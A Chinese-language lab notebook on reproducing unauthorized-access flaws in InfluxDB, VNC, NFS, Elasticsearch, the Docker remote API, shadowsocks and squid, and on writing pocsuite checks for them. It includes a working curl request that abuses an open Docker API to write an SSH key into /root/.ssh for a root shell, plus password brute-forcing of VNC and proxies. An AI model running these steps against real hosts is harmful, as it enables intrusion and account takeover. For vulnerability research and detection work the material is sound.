赞
踩
参考:
https://v2.docs.influxdata.com/v2.0/get-started/
https://portal.influxdata.com/downloads/
https://www.anquanke.com/post/id/179674
wget https://dl.influxdata.com/influxdb/releases/influxdb_2.0.0-beta.8_linux_amd64.tar.gz
tar zxf influxdb_2.0.0-beta.8_linux_amd64.tar.gz
# 将两个可执行文件复制到bin目录下待执行
sudo cp influxdb_2.0.0-beta.8_linux_amd64/{influx,influxd} /usr/local/bin/
# 启动influxdb
influxd
或者1.x版本环境搭建:
sudo apt-get install influxdb
安装指定版本1.7.5:
wget https://dl.influxdata.com/influxdb/releases/influxdb-1.7.5-static_linux_amd64.tar.gz
tar zxf influxdb-1.7.5-static_linux_amd64.tar.gz
cd influxdb-1.7.5-1/
./influxd
启动之后,
参考以下利用步骤:
直接访问这个接口:
利用这个工具:
https://jwt.io/
InfluxDB supports both password and “JWT” based authentication.
参考:https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
InfluxDB支持密码,以及JWT的认证。
软件设计的“默认安全”概念:
不需要用户进行配置的情况下,默认情况下应该是安全的。
poc验证成功:
参考:
https://blog.whe.me/post/ubuntu-install-gui.html
sudo apt install --no-install-recommends ubuntu-desktop gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal -y
sudo apt install vnc4server -y
然后开启:
下载:
https://www.realvnc.com/download/file/viewer.files/VNC-Viewer-6.20.113-Windows.exe
使用nmap扫描vnc服务,
编写pocsuite插件(仅探测VNC服务):
停止VNC
vncserver -kill :1
输入一下命令
cd ~/.vnc/
rm -rf passwd
输入 vncserver
重新设置密码
pocsuite:(爆破VNC密码)
参考:
https://www.digitalocean.com/community/tutorials/how-to-set-up-an-nfs-mount-on-ubuntu-18-04
https://vitux.com/install-nfs-server-and-client-on-ubuntu/
https://www.linuxidc.com/Linux/2018-11/155331.htm
NFS服务端安装:
sudo apt install nfs-kernel-server
NFS客户端安装:
sudo apt install nfs-common
修改:
sudo vi /etc/exports
# /home/77/repos/sharedfolder 192.168.85.0/24(rw,sync,no_root_squash,no_subtree_check)
参数的解释:
rw: read and write operations
sync: write any change to the disc before applying it
no_subtree_check: prevent subtree checking
将共享目录导出:
sudo exportfs -a
然后重启NFS服务:
sudo systemctl restart nfs-kernel-server
注意挂载到本地之后还要记得清理掉:
# 删除目录
def clean_dir(self, p_dir):
logger.info('umount {0} && rm -rf {0}'.format(p_dir))
r = os.system('umount {0} && rm -rf {0}'.format(p_dir)) # 卸载目录 删除目录
return r
用另外一台设备(192.168.85.130)使用这个命令
showmount -e 192.168.85.129
然后在192.168.85.129(NFS服务器)上抓包:
sudo tcpdump -i ens33 -w nfs.pcap
先是一段基于UDP的Portmap协议数据:
然后实际访问的是远程的35807端口。
选择yaml格式:
可以得到数据包的base64格式。
echo "gAAASL/SK3gAAAAAAAAAAgABhqUAAAADAAAABQAAAAEAAAAgXpWASwAAAAZ1YnVudHUAAAAAA+wAAAPsAAAAAQAAA+wAAAAAAAAAAA=="|base64 -d|nc -v 192.168.85.129 35807
由于不知道这个端口是否确定,所以放弃使用showmount命令,转而使用mount命令。
sudo mount -t nfs 192.168.85.129:/home/77/repos/sharedfolder /tmp/share
将远程192.168.85.129的/home/77/repos/sharedfolder目录挂载到本地的/tmp/share目录。
参考:
https://www.jianshu.com/p/40fbd63cf982
编写pocsuite插件:
之前仅通过nfs端口的服务banner判断是否存在漏洞是有问题的。
判断依据:
showmount -e <host>
若只有一行,说明没有export目录;
若有两行,则第二行为export的目录;
但是即便有export,也不一定就存在漏洞。
还要看共享的范围:
比如这个仅共享给了它同一个C段,其他网段的人虽然能看到这个信息,但是无法mount到本地。
仅当这个网络范围恰好为执行这个mount命令的主机所在范围时,才能成功:
详情参考:
字节hex转换参考:
https://blog.csdn.net/wowocpp/article/details/79701739
https://www.cnblogs.com/LoveMusicGuy/p/10616430.html
参考:
https://xz.aliyun.com/t/6103#toc-11
https://www.cnblogs.com/xiaozi/p/8275201.html
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
unzip elasticsearch-5.5.0.zip
cd elasticsearch-5.5.0/bin
./elasticsearch
可以看到es默认情况是监听在本地的,
可以修改config/elasticsearch.yml
文件,
然后重新启动:
这样就局域网可访问了:
poc检测两个特征,加强可靠性:
1,GET访问根路径,返回es的slogan:You Know, for Search
;
2,GET访问/_cat
,响应里有/_cat/master
pocsuite:
使用
umount /tmp/share
可以卸载目录。
参考:
docker默认安装启动情况下是不会开启这个2375端口的。
第一种,修改service文件:/lib/systemd/system/docker.service
将被注释的注释掉,添加上面那一行
ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375
#ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
(PS: 方便下载国内的源,可以加上--registry-mirror=https://docker.mirrors.ustc.edu.cn
)
参考:
https://www.jianshu.com/p/df75f9b5fcf6
然后重新启动:
sudo systemctl daemon-reload
sudo service docker restart
然后就可以通过http访问docker的api了:
第二种,修改/var/lib/docker
略
由于根目录下没有那么大空间,
修改默认的/var/lib/docker,
将其移动到家目录,然后使用软连接指向/var/lib/docker
参考:
https://blog.csdn.net/wenwenxiong/article/details/78728696
由于没有images,即便可未授权访问,也没法开启container
77@ubuntu130:~$ curl -X POST -H "Content-Type: application/json" -d '{ "Cmd": [ "/bin/sh", "-c", " echo \"公钥\" >> /tmp/authorized_keys " ], "Image": "sshd", "Volumes": { "/tmp": {} }, "HostConfig": { "Binds": ["/root/.ssh:/tmp:rw"] } } ' "http://192.168.85.129:2375/containers/create"
{"message":"No such image: sshd:latest"}
利用方式参考:
https://jkme.github.io/docker-remote-exploit.html
于是先拉一个image下来:
docker pull ubuntu:18.04
拉了images之后,再访问api就会有image了。
使用可用的image之后发现成功创建了container:
发现创建container的时候,命令并不会被执行:
需要再执行一步start命令:
POST /containers/<containerID>/start
成功start之后,写入了文件,
然后可以访问受害者的root shell了:
当ss设置了用户密码之后,
不带密码访问
python3.6 -m pip install ss--proxy=192.168.85.1:1080
其实就是直接向代理服务器发起这个请求:
CONNECT pypi.python.org:443 HTTP/1.0
带密码访问:
python3.6 -m pip install --proxy http://cqq:cqq@192.168.85.1:1080 XXX
当带着正确密码访问时 :
CONNECT pypi.python.org:443 HTTP/1.0
Proxy-Authorization: Basic Y3FxOnBhc3M=
响应200,然后后续的流量被加密了。
ssserver -p 1080 -k pass -m aes-256-cfb
启动报错问题参考:
https://floperry.github.io/2019/02/24/2018-06-25-Ubuntu-18.04-%E4%B8%8B%E8%A7%A3%E5%86%B3-shadowsocks-%E6%9C%8D%E5%8A%A1%E6%8A%A5%E9%94%99%E9%97%AE%E9%A2%98/
使用hydra破解成功的流量:
注意向本地127.0.0.1发起请求时,默认不需要认证的,所以不管什么密码都会返回\x01\x00
即成功。
参考:
https://www.jianshu.com/p/d03310004668
https://www.cnblogs.com/litaozijin/p/6506354.html
http://zhihan.me/network/2017/09/24/socks5-protocol/
使用squid搭建http代理。配置账号密码admin:admin
参考:
https://katyusha.net/557.html
https://blog.csdn.net/sukeeeeeeeee/article/details/62893242
直接不使用凭据访问:
curl --proxy 192.168.85.129:3128 http://ip.cn
带有认证的方式:
curl --proxy 192.168.85.129:3128 --proxy-user admin:admin http://baidu.com
pocsuite
/etc/squid/squid.conf文件:
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwd
acl auth_user proxy_auth REQUIRED
http_access allow auth_user
设置密码
sudo htpasswd -c /etc/squid/passwd cqq
重启
sudo systemctl restart squid
如果配置了认证,依然可以未经认证登录,则可能是配置了localnet允许登录,例如:
acl localnet src 192.168.85.0/24
http_access allow localnet
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。